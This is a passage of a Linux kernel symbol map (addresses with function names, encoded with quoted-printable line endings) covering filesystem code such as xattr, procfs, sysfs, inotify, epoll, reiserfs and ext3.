10184c94 T sys_getxattr=0A=
10184d0c T sys_lgetxattr=0A=
10184d84 T sys_fgetxattr=0A=
10184df4 t listxattr=0A=
10184ed8 T sys_listxattr=0A=
10184f40 T sys_llistxattr=0A=
10184fa8 T sys_flistxattr=0A=
10185000 t removexattr=0A=
10185158 T sys_removexattr=0A=
101851b0 T sys_lremovexattr=0A=
10185208 T sys_fremovexattr=0A=
10185258 t xattr_resolve_name=0A=
101852d0 T generic_getxattr=0A=
10185340 T generic_listxattr=0A=
10185438 T generic_setxattr=0A=
101854b8 T generic_removexattr=0A=
10185518 T simple_getattr=0A=
1018555c T simple_statfs=0A=
1018557c t simple_delete_dentry=0A=
10185584 T simple_lookup=0A=
101855d4 T simple_sync_file=0A=
101855dc T dcache_dir_open=0A=
10185614 T dcache_dir_close=0A=
10185634 T dcache_dir_lseek=0A=
10185814 T dcache_readdir=0A=
10185a48 T generic_read_dir=0A=
10185a50 T get_sb_pseudo=0A=
10185bc8 T simple_link=0A=
10185c9c T simple_empty=0A=
10185cf8 T simple_unlink=0A=
10185d5c T simple_rmdir=0A=
10185dc0 T simple_rename=0A=
10185eac T simple_readpage=0A=
10185f1c T simple_prepare_write=0A=
10185fbc T simple_commit_write=0A=
10186024 T simple_fill_super=0A=
101861c8 T simple_pin_fs=0A=
10186268 T simple_release_fs=0A=
101862b0 T simple_read_from_buffer=0A=
1018636c T simple_transaction_get=0A=
10186408 T simple_transaction_read=0A=
10186444 T simple_transaction_release=0A=
10186468 T simple_attr_open=0A=
10186540 T simple_attr_close=0A=
10186560 T simple_attr_read=0A=
10186670 T simple_attr_write=0A=
10186770 T __mark_inode_dirty=0A=
101868e8 t __writeback_single_inode=0A=
10186cb4 T writeback_acquire=0A=
10186cdc t set_sb_syncing=0A=
10186cfc T write_inode_now=0A=
10186da0 T sync_inode=0A=
10186db8 T generic_osync_inode=0A=
10186ec4 T writeback_in_progress=0A=
10186ed0 T writeback_release=0A=
10186f30 t sync_sb_inodes=0A=
10187204 T sync_inodes_sb=0A=
101872b4 t __sync_inodes=0A=
10187378 T sync_inodes=0A=
101873c0 T writeback_inodes=0A=
10187478 t mpage_end_io_read=0A=
1018753c t mpage_end_io_write=0A=
101875f8 t mpage_bio_submit=0A=
10187634 t mpage_alloc=0A=
101876d8 t do_mpage_readpage=0A=
10187aac T mpage_readpages=0A=
10187c20 T mpage_readpage=0A=
10187c64 t __mpage_writepage=0A=
1018812c T mpage_writepages=0A=
101884d4 T mpage_writepage=0A=
10188528 t dio_get_page=0A=
101886cc t dio_complete=0A=
10188728 t finished_one_bio=0A=
10188828 t dio_bio_end_io=0A=
10188884 t dio_bio_submit=0A=
101888f8 t dio_cleanup=0A=
10188934 t dio_bio_complete=0A=
10188a10 t dio_bio_end_aio=0A=
10188a48 t dio_new_bio=0A=
10188b70 t dio_bio_add_page=0A=
10188c10 t dio_send_cur_page=0A=
10188ce4 t submit_page_section=0A=
10188df4 t dio_zero_block=0A=
10188ea8 T __blockdev_direct_IO=0A=
10189a94 t set_task_ioprio=0A=
10189b1c T sys_ioprio_set=0A=
10189d48 T sys_ioprio_get=0A=
10189f74 T change_mnt_propagation=0A=
1018a114 t propagation_next=0A=
1018a180 T propagate_mnt=0A=
1018a380 T propagate_mount_busy=0A=
1018a44c T propagate_umount=0A=
1018a548 t kernel_event=0A=
1018a670 t inotify_dev_queue_event=0A=
1018a7c0 t remove_kevent=0A=
1018a83c t remove_watch_no_event=0A=
1018a978 t remove_watch=0A=
1018a9c0 T inotify_inode_queue_event=0A=
1018abdc T inotify_dentry_parent_queue_event=0A=
1018ac78 T inotify_get_cookie=0A=
1018ac98 T inotify_unmount_inodes=0A=
1018ae98 T inotify_inode_is_dead=0A=
1018afbc t inotify_poll=0A=
1018b080 t inotify_read=0A=
1018b2e8 t inotify_release=0A=
1018b5c0 t inotify_ioctl=0A=
1018b608 T sys_inotify_init=0A=
1018b850 T sys_inotify_add_watch=0A=
1018bbfc T sys_inotify_rm_watch=0A=
1018be84 t inotify_get_sb=0A=
1018beb0 t ep_poll_safewake=0A=
1018bf84 T eventpoll_init_file=0A=
1018bf9c t ep_release_epitem=0A=
1018bfe0 t ep_ptable_queue_proc=0A=
1018c080 t ep_unregister_pollwait=0A=
1018c100 t ep_remove=0A=
1018c1b0 t ep_free=0A=
1018c2a0 T sys_epoll_ctl=0A=
1018c754 T eventpoll_release_file=0A=
1018c830 t ep_poll_callback=0A=
1018c8dc t ep_eventpoll_close=0A=
1018c910 t ep_eventpoll_poll=0A=
1018c970 T sys_epoll_wait=0A=
1018cdc8 t eventpollfs_delete_dentry=0A=
1018cdd0 T sys_epoll_create=0A=
1018d038 t eventpollfs_get_sb=0A=
1018d064 T sys_nfsservctl=0A=
1018d2b4 t load_script=0A=
1018d4e4 t set_brk=0A=
1018d58c t padzero=0A=
1018d5c8 t elf_map=0A=
1018d694 t load_elf_binary=0A=
1018eac0 t load_elf_library=0A=
1018ecfc t dump_write=0A=
1018ed30 t dump_seek=0A=
1018ed9c t maydump=0A=
1018ede0 t notesize=0A=
1018ee1c t notesize=0A=
1018ee58 t writenote=0A=
1018ef38 t fill_note=0A=
1018ef50 t fill_prstatus=0A=
1018f59c t elf_core_dump=0A=
10190114 T posix_acl_alloc=0A=
10190154 T posix_acl_clone=0A=
101901bc T posix_acl_valid=0A=
101902d0 T posix_acl_equiv_mode=0A=
1019039c T posix_acl_from_mode=0A=
1019040c T posix_acl_permission=0A=
101905ac T posix_acl_create_masq=0A=
101906d8 T posix_acl_chmod_masq=0A=
101907a4 T posix_acl_from_xattr=0A=
101908e8 T posix_acl_to_xattr=0A=
10190970 t redo_inode_mask=0A=
10190998 T dnotify_flush=0A=
10190a1c T fcntl_dirnotify=0A=
10190bbc T __inode_dir_notify=0A=
10190c88 T dnotify_parent=0A=
10190d24 T get_vmalloc_info=0A=
10190dc4 T task_mem=0A=
10190ea4 T task_vsize=0A=
10190eb0 T task_statm=0A=
10190f04 T proc_exe_link=0A=
1019102c t pad_len_spaces=0A=
1019105c t show_map_internal=0A=
101912bc t show_map=0A=
101912d8 t show_smap=0A=
101914fc t de_put=0A=
1019157c t proc_delete_inode=0A=
10191620 t proc_read_inode=0A=
10191654 t proc_alloc_inode=0A=
101916b8 t proc_destroy_inode=0A=
101916dc t proc_remount=0A=
101916f0 T proc_get_inode=0A=
10191870 T proc_fill_super=0A=
1019192c t proc_get_sb=0A=
10191950 t proc_root_lookup=0A=
101919cc t proc_root_readdir=0A=
10191a44 t proc_fd_link=0A=
10191b38 t get_fs_struct=0A=
10191b5c t proc_cwd_link=0A=
10191c20 t proc_root_link=0A=
10191ce4 t proc_pid_environ=0A=
10191d68 t proc_pid_cmdline=0A=
10191e84 t proc_pid_auxv=0A=
10191efc t proc_pid_wchan=0A=
10191f74 t proc_oom_score=0A=
10191fc8 t proc_check_chroot=0A=
10192108 t proc_check_root=0A=
10192144 t proc_permission=0A=
1019217c t proc_task_permission=0A=
101922b8 t maps_open=0A=
101922fc t smaps_open=0A=
10192340 t mounts_open=0A=
10192408 t mounts_release=0A=
10192468 t mounts_poll=0A=
101924e4 t proc_info_read=0A=
101925a0 t mem_open=0A=
101925b8 t mem_read=0A=
101927b8 t mem_lseek=0A=
10192808 t oom_adjust_read=0A=
101928f4 t oom_adjust_write=0A=
101929dc t proc_pid_follow_link=0A=
10192a88 t proc_pid_readlink=0A=
10192be0 t proc_readfd=0A=
10192e20 t proc_pident_readdir=0A=
10193004 t proc_tgid_base_readdir=0A=
1019302c t proc_tid_base_readdir=0A=
10193054 t task_dumpable=0A=
10193074 t proc_pid_make_inode=0A=
1019315c t pid_revalidate=0A=
10193208 t tid_fd_revalidate=0A=
101932ec t pid_base_iput=0A=
10193318 t pid_delete_dentry=0A=
10193330 t name_to_int=0A=
1019339c t proc_lookupfd=0A=
101934c8 t get_tid_list=0A=
10193554 t proc_pident_lookup=0A=
10193908 t proc_tgid_base_lookup=0A=
10193928 t proc_tid_base_lookup=0A=
10193948 t proc_self_readlink=0A=
101939b0 t proc_self_follow_link=0A=
101939f8 T proc_pid_unhash=0A=
10193a70 T proc_pid_flush=0A=
10193aa0 T proc_pid_lookup=0A=
10193ca0 t proc_task_lookup=0A=
10193de0 T proc_pid_readdir=0A=
10194020 t proc_task_readdir=0A=
1019420c T proc_match=0A=
10194248 t proc_file_read=0A=
101944fc t proc_file_write=0A=
10194534 t proc_file_lseek=0A=
10194578 t proc_notify_change=0A=
101945e0 t proc_getattr=0A=
10194620 t xlate_proc_name=0A=
101946c4 t proc_follow_link=0A=
101946e4 t proc_delete_dentry=0A=
101946ec T proc_lookup=0A=
1019479c T proc_readdir=0A=
10194968 t proc_register=0A=
10194aa4 t proc_create=0A=
10194b98 T create_proc_entry=0A=
10194c6c T proc_symlink=0A=
10194d0c T proc_mkdir_mode=0A=
10194d7c T proc_mkdir=0A=
10194d9c T free_proc_entry=0A=
10194e14 T remove_proc_entry=0A=
10194fd4 t render_sigset_t=0A=
101950d8 t collect_sigign_sigcatch=0A=
10195190 T proc_pid_status=0A=
101955e8 t do_task_stat=0A=
10195eac T proc_tid_stat=0A=
10195ec8 T proc_tgid_stat=0A=
10195ee4 T proc_pid_statm=0A=
10195f90 t kmsg_open=0A=
10195fb4 t kmsg_release=0A=
10195fdc t kmsg_read=0A=
10196048 t kmsg_poll=0A=
1019608c t show_tty_range=0A=
1019621c t show_tty_driver=0A=
101963d8 t t_start=0A=
1019642c t t_next=0A=
10196460 t t_stop=0A=
10196464 t tty_drivers_open=0A=
10196488 t tty_ldiscs_read_proc=0A=
1019658c T proc_tty_register_driver=0A=
10196600 T proc_tty_unregister_driver=0A=
10196634 t proc_calc_metrics=0A=
1019666c t loadavg_read_proc=0A=
10196784 t uptime_read_proc=0A=
1019695c t meminfo_read_proc=0A=
10196b98 t fragmentation_open=0A=
10196bbc t zoneinfo_open=0A=
10196be0 t version_read_proc=0A=
10196c58 t cpuinfo_open=0A=
10196c7c t vmstat_open=0A=
10196ca0 t partitions_open=0A=
10196cc4 t diskstats_open=0A=
10196ce8 t modules_open=0A=
10196d0c t slabinfo_open=0A=
10196d30 t show_stat=0A=
10197c30 t stat_open=0A=
10197cac t devices_read_proc=0A=
10197d30 t int_seq_start=0A=
10197d54 t int_seq_next=0A=
10197d90 t int_seq_stop=0A=
10197d94 t interrupts_open=0A=
10197db8 t filesystems_read_proc=0A=
10197e20 t cmdline_read_proc=0A=
10197e98 t locks_read_proc=0A=
10197ec8 t execdomains_read_proc=0A=
10197f30 T create_seq_entry=0A=
10197f5c t open_kcore=0A=
10197f8c T kclist_add=0A=
10197fa8 t storenote=0A=
10198044 t read_kcore=0A=
1019867c T disk_name=0A=
10198728 T bdevname=0A=
1019875c T __bdevname=0A=
10198798 t part_attr_show=0A=
101987cc t part_attr_store=0A=
10198804 t part_uevent_store=0A=
1019882c t part_dev_read=0A=
10198878 t part_start_read=0A=
101988a4 t part_size_read=0A=
101988d0 t part_stat_read=0A=
10198924 t part_release=0A=
10198940 T delete_partition=0A=
10198998 T add_partition=0A=
10198a9c T register_disk=0A=
10198ba4 T rescan_partitions=0A=
10198da0 T read_dev_sector=0A=
10198e5c T del_gendisk=0A=
10198f2c t parse_solaris_x86=0A=
10198f30 t parse_freebsd=0A=
10198f34 t parse_netbsd=0A=
10198f38 t parse_openbsd=0A=
10198f3c t parse_unixware=0A=
10198f40 t parse_minix=0A=
10198f44 T msdos_partition=0A=
10199630 T sysfs_setattr=0A=
101997dc T sysfs_new_inode=0A=
101998d4 T sysfs_create=0A=
10199a1c T sysfs_get_name=0A=
10199aac T sysfs_drop_dentry=0A=
10199b44 T sysfs_hash_and_remove=0A=
10199cb8 t subsys_attr_show=0A=
10199cec t subsys_attr_store=0A=
10199d24 t sysfs_read_file=0A=
10199f30 t sysfs_write_file=0A=
1019a080 t sysfs_open_file=0A=
1019a2a4 t sysfs_release=0A=
1019a338 T sysfs_add_file=0A=
1019a400 T sysfs_create_file=0A=
1019a460 T sysfs_update_file=0A=
1019a5f0 T sysfs_chmod_file=0A=
1019a760 T sysfs_remove_file=0A=
1019a780 t sysfs_d_iput=0A=
1019a84c t sysfs_new_dirent=0A=
1019a8e4 T sysfs_make_dirent=0A=
1019a998 t init_dir=0A=
1019a9c4 t init_file=0A=
1019a9e8 t init_symlink=0A=
1019a9fc t create_dir=0A=
1019abf0 T sysfs_create_subdir=0A=
1019ac18 T sysfs_create_dir=0A=
1019acc0 t sysfs_lookup=0A=
1019af9c t remove_dir=0A=
1019b114 T sysfs_remove_subdir=0A=
1019b12c T sysfs_remove_dir=0A=
1019b300 T sysfs_rename_dir=0A=
1019b490 t sysfs_dir_open=0A=
1019b534 t sysfs_dir_close=0A=
1019b60c t sysfs_readdir=0A=
1019b88c t sysfs_dir_lseek=0A=
1019ba4c T sysfs_create_link=0A=
1019bbbc T sysfs_remove_link=0A=
1019bbd8 t sysfs_follow_link=0A=
1019bdb8 t sysfs_put_link=0A=
1019bdf8 t sysfs_fill_super=0A=
1019bef4 t sysfs_get_sb=0A=
1019bf18 t read=0A=
1019c044 t write=0A=
1019c160 t mmap=0A=
1019c1a8 t open=0A=
1019c308 t release=0A=
1019c388 T sysfs_create_bin_file=0A=
1019c3e8 T sysfs_remove_bin_file=0A=
1019c40c t remove_files=0A=
1019c450 T sysfs_create_group=0A=
1019c598 T sysfs_remove_group=0A=
1019c66c t devpts_remount=0A=
1019c794 t devpts_fill_super=0A=
1019c890 t devpts_get_sb=0A=
1019c8b4 t get_node=0A=
1019c934 T devpts_pty_new=0A=
1019cae0 T devpts_get_tty=0A=
1019cb60 T devpts_pty_kill=0A=
1019cbe8 t scan_bitmap_block=0A=
1019d094 t bmap_hash_id=0A=
1019d130 T reiserfs_choose_packing=0A=
1019d254 t _reiserfs_free_block=0A=
1019d4b8 T reiserfs_free_block=0A=
1019d548 t __discard_prealloc=0A=
1019d630 T reiserfs_discard_prealloc=0A=
1019d690 T reiserfs_discard_all_prealloc=0A=
1019d71c T reiserfs_init_alloc_options=0A=
1019d768 T reiserfs_parse_alloc_options=0A=
1019dc64 t dirid_groups=0A=
1019dd1c T reiserfs_allocate_blocknrs=0A=
1019ed14 T reiserfs_claim_blocks_to_be_allocated=0A=
1019ed2c T reiserfs_release_claimed_blocks=0A=
1019ed44 T reiserfs_can_fit_pages=0A=
1019eda4 T do_balance_mark_leaf_dirty=0A=
1019edc8 T replace_key=0A=
1019ee50 T get_left_neighbor_position=0A=
1019ee8c T get_right_neighbor_position=0A=
1019eed0 T make_empty_node=0A=
1019ef2c T get_FEB=0A=
1019efd0 T reiserfs_invalidate_buffer=0A=
1019f094 t balance_leaf_when_delete=0A=
1019f5c4 t free_thrown=0A=
1019f654 T do_balance=0A=
101a41a0 T set_de_name_and_namelen=0A=
101a4368 T search_by_entry_key=0A=
101a47ec t get_third_component=0A=
101a4874 t reiserfs_find_entry=0A=
101a506c t reiserfs_lookup=0A=
101a51d4 T reiserfs_get_parent=0A=
101a52ac t reiserfs_add_entry=0A=
101a58a0 t drop_new_inode=0A=
101a58d4 t new_inode_init=0A=
101a5944 t reiserfs_create=0A=
101a5ad8 t reiserfs_mknod=0A=
101a5c80 t reiserfs_mkdir=0A=
101a5edc t reiserfs_rmdir=0A=
101a6164 t reiserfs_unlink=0A=
101a63d4 t reiserfs_symlink=0A=
101a6618 t reiserfs_link=0A=
101a6780 t entry_points_to_object=0A=
101a6a50 t set_ino_in_dir_entry=0A=
101a6afc t reiserfs_rename=0A=
101a72e4 T reiserfs_delete_inode=0A=
101a7434 t _make_cpu_key=0A=
101a7464 T make_cpu_key=0A=
101a750c T make_le_item_head=0A=
101a7930 t file_capable=0A=
101a795c t _get_block_create_0=0A=
101a8428 t reiserfs_bmap=0A=
101a8480 t reiserfs_readpages=0A=
101a84ac t real_space_diff=0A=
101a8520 T sd_attrs_to_i_attrs=0A=
101a85c0 T i_attrs_to_sd_attrs=0A=
101a8664 t inode2sd=0A=
101a8980 t inode2sd_v1=0A=
101a8be0 T reiserfs_update_sd_size=0A=
101a9018 T restart_transaction=0A=
101a90fc t reiserfs_make_bad_inode=0A=
101a912c T reiserfs_init_locked_inode=0A=
101a916c T reiserfs_read_locked_inode=0A=
101a9b4c T reiserfs_find_actor=0A=
101a9ba4 T reiserfs_iget=0A=
101a9c64 T reiserfs_get_dentry=0A=
101a9d14 T reiserfs_decode_fh=0A=
101a9e20 T reiserfs_encode_fh=0A=
101a9f14 T reiserfs_write_inode=0A=
101a9fac T reiserfs_new_inode=0A=
101ab6ac T reiserfs_truncate_file=0A=
101ab9a4 t reiserfs_readpage=0A=
101ab9c8 t reiserfs_prepare_write=0A=
101abb84 t reiserfs_aop_bmap=0A=
101abba4 t reiserfs_commit_write=0A=
101abde0 T reiserfs_get_block=0A=
101ad718 t reiserfs_get_blocks_direct_io=0A=
101ad7c4 t reiserfs_writepage=0A=
101ae42c t reiserfs_get_block_create_0=0A=
101ae448 t reiserfs_invalidatepage=0A=
101ae5dc t reiserfs_set_page_dirty=0A=
101ae638 t reiserfs_releasepage=0A=
101ae70c t reiserfs_direct_IO=0A=
101ae770 T reiserfs_setattr=0A=
101ae930 t reiserfs_file_release=0A=
101aee30 t reiserfs_vfs_truncate_file=0A=
101aee4c t reiserfs_sync_file=0A=
101aeef4 t reiserfs_unprepare_pages=0A=
101aef54 t reiserfs_copy_from_user_to_file_region=0A=
101af0b0 T reiserfs_commit_page=0A=
101af310 t reiserfs_submit_file_region_for_write=0A=
101af580 t reiserfs_check_for_tail_and_convert=0A=
101af924 t reiserfs_prepare_file_region_for_write=0A=
101b0078 t reiserfs_file_write=0A=
101b2210 t reiserfs_aio_write=0A=
101b2228 t reiserfs_dir_fsync=0A=
101b224c t reiserfs_readdir=0A=
101b2840 T make_empty_dir_item_v1=0A=
101b2aa0 T make_empty_dir_item=0A=
101b2d88 t create_virtual_node=0A=
101b3760 t check_left=0A=
101b3888 t check_right=0A=
101b39bc t get_num_ver=0A=
101b3ddc t set_parameters=0A=
101b3e4c t is_leaf_removable=0A=
101b3f5c t get_empty_nodes=0A=
101b4120 t get_lfree=0A=
101b41b8 t get_rfree=0A=
101b4240 t is_left_neighbor_in_cache=0A=
101b4314 t get_far_parent=0A=
101b45d0 t get_parents=0A=
101b47e4 t get_neighbors=0A=
101b49a8 t get_mem_for_virtual_node=0A=
101b4af4 t tb_buffer_sanity_check=0A=
101b4af8 t clear_all_dirty_bits=0A=
101b4b14 t wait_tb_buffers_until_unlocked=0A=
101b4d30 T fix_nodes=0A=
101b66c4 T unfix_nodes=0A=
101b681c T is_reiserfs_3_5=0A=
101b6860 T is_reiserfs_3_6=0A=
101b68a4 T is_reiserfs_jr=0A=
101b68e8 t reiserfs_sync_fs=0A=
101b6948 t reiserfs_write_super=0A=
101b6964 t reiserfs_write_super_lockfs=0A=
101b69f4 t reiserfs_unlockfs=0A=
101b6a0c t remove_save_link_only=0A=
101b6ac4 T remove_save_link=0A=
101b6da0 t finish_unfinished=0A=
101b72bc T add_save_link=0A=
101b7508 t reiserfs_put_super=0A=
101b76d4 t reiserfs_alloc_inode=0A=
101b7708 t reiserfs_destroy_inode=0A=
101b772c t destroy_inodecache=0A=
101b7764 t destroy_inodecache=0A=
101b7798 t destroy_inodecache=0A=
101b77cc t reiserfs_dirty_inode=0A=
101b7858 t reiserfs_clear_inode=0A=
101b78f0 t reiserfs_parse_options=0A=
101b7d74 t switch_data_mode=0A=
101b7da0 t handle_attrs=0A=
101b7e78 t reiserfs_remount=0A=
101b8280 t load_bitmap_info_data=0A=
101b8340 t read_super_block=0A=
101b863c t reiserfs_fill_super=0A=
101b9840 t reiserfs_statfs=0A=
101b9900 t get_super_block=0A=
101b9924 T reiserfs_warning=0A=
101b998c t sprintf_le_key=0A=
101ba4a8 t prepare_error_buf=0A=
101bab1c T reiserfs_info=0A=
101bab84 t reiserfs_printk=0A=
101babc0 T reiserfs_debug=0A=
101babc4 T reiserfs_panic=0A=
101bac40 T reiserfs_abort=0A=
101bacfc T reiserfs_hashname=0A=
101bad2c T store_print_tb=0A=
101bb118 T print_cur_tb=0A=
101bb144 T check_leaf=0A=
101bb3d0 T check_internal=0A=
101bb478 T print_block=0A=
101bbe04 T print_statistics=0A=
101bbe08 t check_objectid_map=0A=
101bbe0c T reiserfs_get_unused_objectid=0A=
101bbf98 T reiserfs_release_objectid=0A=
101bc224 T reiserfs_convert_objectid_map_v1=0A=
101bc338 T leaf_paste_entries=0A=
101bc78c T leaf_paste_in_buffer=0A=
101bcc88 T leaf_insert_into_buf=0A=
101bd004 t leaf_copy_dir_entries=0A=
101bd788 t leaf_copy_boundary_item=0A=
101bec50 t leaf_copy_items_entirely=0A=
101bef6c t leaf_item_bottle=0A=
101c0034 t leaf_delete_items_entirely=0A=
101c02f4 T leaf_cut_from_buffer=0A=
101c1000 T leaf_delete_items=0A=
101c1378 T leaf_move_items=0A=
101c1760 T leaf_shift_right=0A=
101c17c8 T leaf_shift_left=0A=
101c1888 t internal_define_dest_src_infos=0A=
101c1be8 t internal_insert_childs=0A=
101c1e44 t internal_delete_pointers_items=0A=
101c2018 t internal_move_pointers_items=0A=
101c22c8 t internal_insert_key=0A=
101c2434 t internal_shift_left=0A=
101c2520 t internal_shift_right=0A=
101c261c T balance_internal=0A=
101c32c4 T B_IS_IN_TREE=0A=
101c32e4 T copy_item_head=0A=
101c3300 T comp_short_keys=0A=
101c3394 T comp_short_le_keys=0A=
101c3414 T le_key2cpu_key=0A=
101c3798 T comp_le_keys=0A=
101c37b4 T get_rkey=0A=
101c38bc T decrement_bcount=0A=
101c390c T decrement_counters_in_path=0A=
101c3980 T reiserfs_check_path=0A=
101c3988 T pathrelse_and_restore=0A=
101c39fc T pathrelse=0A=
101c3a5c t is_tree_node=0A=
101c3e74 T search_by_key=0A=
101c57e4 T search_for_position_by_key=0A=
101c5f2c T comp_items=0A=
101c5f98 t prepare_for_delete_or_cut=0A=
101c7020 t calc_deleted_bytes_number=0A=
101c7514 t init_tb_struct=0A=
101c75b4 T padd_item=0A=
101c75cc T reiserfs_delete_item=0A=
101c7bf8 T reiserfs_delete_solid_item=0A=
101c836c T reiserfs_cut_from_item=0A=
101c8d2c T reiserfs_do_truncate=0A=
101c962c T reiserfs_delete_object=0A=
101c96fc T reiserfs_paste_into_item=0A=
101c98c4 T reiserfs_insert_item=0A=
101c9c94 T keyed_hash=0A=
101ca0b8 T yura_hash=0A=
101ca1b8 T r5_hash=0A=
101ca1ec T direct2indirect=0A=
101caae0 T reiserfs_unmap_buffer=0A=
101cabf0 T indirect2direct=0A=
101caf9c t init_journal_hash=0A=
101cafc8 t reiserfs_clean_and_file_buffer=0A=
101cb000 t disable_barrier=0A=
101cb040 t allocate_bitmap_node=0A=
101cb0d8 t cleanup_bitmap_list=0A=
101cb1e8 t free_list_bitmaps=0A=
101cb240 T reiserfs_allocate_list_bitmaps=0A=
101cb2e4 T reiserfs_check_lock_depth=0A=
101cb2e8 t get_cnode=0A=
101cb350 t free_cnode=0A=
101cb390 t clear_prepared_bits=0A=
101cb3c4 T reiserfs_in_journal=0A=
101cb62c t journal_list_still_alive=0A=
101cb654 t reiserfs_end_buffer_io_sync=0A=
101cb6fc t reiserfs_end_ordered_io=0A=
101cb764 t submit_logged_buffer=0A=
101cb82c t submit_barrier_buffer=0A=
101cb8b8 t check_barrier_completion=0A=
101cb930 t write_chunk=0A=
101cb9b8 t write_ordered_chunk=0A=
101cbab4 t add_to_chunk=0A=
101cbb2c t alloc_jh=0A=
101cbb80 T reiserfs_free_jh=0A=
101cbc34 T reiserfs_add_tail_list=0A=
101cbd14 T reiserfs_add_ordered_list=0A=
101cbdf4 t write_ordered_buffers=0A=
101cc038 T reiserfs_async_progress_wait=0A=
101cc0dc t find_newer_jl_for_cn=0A=
101cc11c t remove_journal_hash=0A=
101cc1f4 t _update_journal_header_block=0A=
101cc39c t del_from_work_list=0A=
101cc3d4 t can_dirty=0A=
101cc4a8 t flush_commit_list=0A=
101ccb84 t get_list_bitmap=0A=
101ccc30 t flush_journal_list=0A=
101cd308 t flush_used_journal_lists=0A=
101cd6d4 T reiserfs_prepare_for_journal=0A=
101cd7c0 T journal_mark_dirty=0A=
101cdac0 t journal_compare_desc_commit=0A=
101cdb2c t journal_transaction_is_valid=0A=
101cde00 t brelse_array=0A=
101cde50 t journal_read=0A=
101cec98 t alloc_journal_list=0A=
101ced94 t release_journal_dev=0A=
101cee24 t free_journal_ram=0A=
101cef14 T journal_init=0A=
101cf864 T journal_transaction_should_end=0A=
101cf91c T reiserfs_block_writes=0A=
101cf98c T reiserfs_allow_writes=0A=
101cf9d0 T reiserfs_wait_on_write_block=0A=
101cfaa0 t queue_log_writer=0A=
101cfb5c t remove_from_transaction=0A=
101cfd10 t flush_async_commits=0A=
101cfdc4 T journal_mark_freed=0A=
101d01f0 T reiserfs_update_inode_transaction=0A=
101d0214 T reiserfs_restore_prepared_buffer=0A=
101d02f4 t do_journal_end=0A=
101d1048 t do_journal_begin_r=0A=
101d13f0 t journal_join=0A=
101d145c T reiserfs_flush_old_commits=0A=
101d1518 T journal_begin=0A=
101d1644 T reiserfs_persistent_transaction=0A=
101d1750 T journal_join_abort=0A=
101d17bc T journal_end_sync=0A=
101d1878 T journal_end=0A=
101d19a8 T reiserfs_commit_for_inode=0A=
101d1b60 T reiserfs_end_persistent_transaction=0A=
101d1bd8 t do_journal_release=0A=
101d1d9c T journal_release_error=0A=
101d1db8 T journal_release=0A=
101d1dd4 T reiserfs_journal_abort=0A=
101d1e78 T reiserfs_resize=0A=
101d25d8 t sd_bytes_number=0A=
101d25e0 t sd_decrement_key=0A=
101d2608 t sd_is_left_mergeable=0A=
101d2610 t print_time=0A=
101d2644 t sd_print_item=0A=
101d294c t sd_check_item=0A=
101d2950 t sd_create_vi=0A=
101d295c t sd_check_left=0A=
101d29a8 t sd_check_right=0A=
101d29b0 t sd_part_size=0A=
101d29f8 t sd_unit_num=0A=
101d2a04 t sd_print_vi=0A=
101d2a38 t direct_bytes_number=0A=
101d2a58 t direct_decrement_key=0A=
101d2a80 t direct_is_left_mergeable=0A=
101d2c94 t direct_print_item=0A=
101d2d1c t direct_check_item=0A=
101d2d20 t direct_create_vi=0A=
101d2d30 t direct_check_left=0A=
101d2d4c t direct_check_right=0A=
101d2d6c t direct_part_size=0A=
101d2d74 t direct_unit_num=0A=
101d2d80 t direct_print_vi=0A=
101d2db4 t indirect_bytes_number=0A=
101d2de4 t indirect_decrement_key=0A=
101d2e0c t indirect_is_left_mergeable=0A=
101d2ffc t print_sequence=0A=
101d304c t indirect_print_item=0A=
101d31c8 t indirect_check_item=0A=
101d31cc t indirect_create_vi=0A=
101d31dc t indirect_check_left=0A=
101d31f0 t indirect_check_right=0A=
101d3210 t indirect_part_size=0A=
101d3218 t indirect_unit_num=0A=
101d3224 t indirect_print_vi=0A=
101d3258 t direntry_bytes_number=0A=
101d3280 t direntry_decrement_key=0A=
101d32a8 t direntry_is_left_mergeable=0A=
101d32e8 t direntry_print_item=0A=
101d35ac t direntry_check_item=0A=
101d35d8 t direntry_create_vi=0A=
101d3964 t direntry_check_left=0A=
101d3a20 t direntry_check_right=0A=
101d3ae0 t direntry_part_size=0A=
101d3b3c t direntry_unit_num=0A=
101d3b54 t direntry_print_vi=0A=
101d3c4c t errcatch_bytes_number=0A=
101d3c74 t errcatch_decrement_key=0A=
101d3c98 t errcatch_is_left_mergeable=0A=
101d3cc0 t errcatch_print_item=0A=
101d3ce4 t errcatch_check_item=0A=
101d3d08 t errcatch_create_vi=0A=
101d3d30 t errcatch_check_left=0A=
101d3d58 t errcatch_check_right=0A=
101d3d80 t errcatch_part_size=0A=
101d3da8 t errcatch_unit_num=0A=
101d3dd0 t errcatch_print_vi=0A=
101d3df4 t reiserfs_unpack=0A=
101d3f84 T reiserfs_ioctl=0A=
101d427c T reiserfs_proc_info_init=0A=
101d4284 T reiserfs_proc_info_done=0A=
101d428c T reiserfs_proc_register_global=0A=
101d4294 T reiserfs_proc_unregister_global=0A=
101d4298 T reiserfs_proc_info_global_init=0A=
101d42a0 T reiserfs_proc_info_global_done=0A=
101d42a8 T reiserfs_global_version_in_proc=0A=
101d42b0 T ext3_get_group_desc=0A=
101d4354 t read_block_bitmap=0A=
101d43f0 t goal_in_my_reservation=0A=
101d4470 T ext3_rsv_window_add=0A=
101d4514 t rsv_window_remove=0A=
101d4548 T ext3_init_block_alloc_info=0A=
101d45b4 T ext3_discard_reservation=0A=
101d45ec T ext3_free_blocks_sb=0A=
101d4acc T ext3_free_blocks=0A=
101d4b54 t ext3_test_allocatable=0A=
101d4ba8 t bitmap_search_next_usable_block=0A=
101d4e3c t ext3_try_to_allocate=0A=
101d520c t ext3_try_to_allocate_with_rsv=0A=
101d5608 t ext3_has_free_blocks=0A=
101d569c T ext3_should_retry_alloc=0A=
101d56fc T ext3_new_block=0A=
101d5c40 T ext3_count_free_blocks=0A=
101d5cbc t ext3_group_sparse=0A=
101d5d38 T ext3_bg_has_super=0A=
101d5d78 T ext3_bg_num_gdb=0A=
101d5dbc T ext3_count_free=0A=
101d5e08 t get_dtype=0A=
101d5e30 T ext3_check_dir_entry=0A=
101d5f44 t free_rb_tree_fname=0A=
101d6168 T ext3_htree_free_dir_info=0A=
101d618c T ext3_htree_store_dirent=0A=
101d6300 t call_filldir=0A=
101d63f4 t ext3_readdir=0A=
101d6a54 t ext3_release_dir=0A=
101d6a7c t ext3_release_file=0A=
101d6b50 t ext3_file_write=0A=
101d6c14 T ext3_sync_file=0A=
101d6d24 t read_inode_bitmap=0A=
101d6dc0 T ext3_free_inode=0A=
101d712c T ext3_new_inode=0A=
101d7bc8 T ext3_orphan_get=0A=
